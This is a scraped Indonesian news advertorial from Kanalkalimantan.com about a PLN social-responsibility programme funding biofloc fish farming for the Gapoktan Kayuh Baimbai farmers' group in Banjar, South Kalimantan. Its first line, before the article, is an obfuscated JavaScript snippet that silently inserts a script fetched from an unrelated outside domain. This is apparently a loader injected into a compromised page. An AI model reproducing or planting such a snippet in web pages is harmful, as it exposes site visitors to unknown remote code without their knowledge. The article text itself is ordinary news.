(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Mewujudkan Usaha Mikro, Kecil dan Menengah (UMKM) yang mampu mencapai Sustainable Development Goals (SDGs) merupakan visi PT PLN (Persero) dalam setiap program Tanggung Jawab Sosial dan Lingkungan (TJSL) yang dijalankan.
Seperti halnya program budidaya ikan menggunakan sistem bioflok yang menjadi sumber alternatif mata pencaharian Gabungan Kelompok Tani (Gapoktan) Kayuh Baimbai, Desa Simpang Empat, Kecamatan Simpang Empat, Kabupaten Banjar, Kalimantan Selatan.
Sistem bioflok dari program TJSL Tahun 2022 PLN Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan ini mampu memberikan omzet sampai Rp 41 jutaan setiap panen per empat bulannya.
Baca juga: Hadiri Haul Syekh Samman Al Madani, Ini Harapan Wabup Banjar
General Manager PLN UIP3B Kalimantan, Abdul Salam Nganro, mengapresiasi kesuksesan Gapoktan Kayuh Baimbai dalam menjalankan budidaya ikan sistem bioflok yang diberikan.
“Kami turut bangga akan keberhasilan Gapoktan Kayuh Baimbai. Semoga terus berkomitmen dalam menjalankan sistem bioflok tersebut” ungkap Salam.
Salam menuturkan TJSL PLN menggunakan konsep pemberdayaan dalam setiap praktiknya, sehingga program yang diusung mempunyai kemampuan untuk sustain dan mampu menciptakan nilai ekonomi yang berkelanjutan (SDGs) bagi penerima manfaatnya.
Baca juga: Kloter 17 Tutup Keberangkatan Embarkasi Banjarmasin, 5.708 Jemaah Sudah di Tanah Suci
“Harapannya program TJSL PLN mampu menjadi agen pemulihan perekonomian masyarakat pasca masa pandemi,” pungkas Salam.
Ketua Gapoktan Kayuh Baimbai Misrani, mengungkapkan program TJSL dari PLN menjadi angin segar bagi warga Desa Simpang Empat yang saat itu sedang terpuruk ekonomi masa pandemi.
“Kami tidak menyangka sama sekali di tengah sulitnya perekonomian masa itu. PLN justru memberikan bantuan yang besar kepada Gapoktan kami,” ungkap Misrani.
Misrani menuturkan budidaya ikan sistem bioflok sangat menguntungkan karena dengan mikro organisme yang dihasilkan dari teknologi ini mampu menghemat biaya pakan ikan yang menjadi biaya paling besar dalam budidaya ikan.
Baca juga: Kloter 17 Tutup Keberangkatan Embarkasi Banjarmasin, 5.708 Jemaah Sudah di Tanah Suci
“Alhamdulillah dengan margin biaya produksi yang lebih rendah mampu memberikan keuntungan yang lebih besar bagi kami,” ungkap Misrani. (Kanalkalimantan.com/adv)
Reporter : adv
Editor : kk
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More
KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More
This website uses cookies.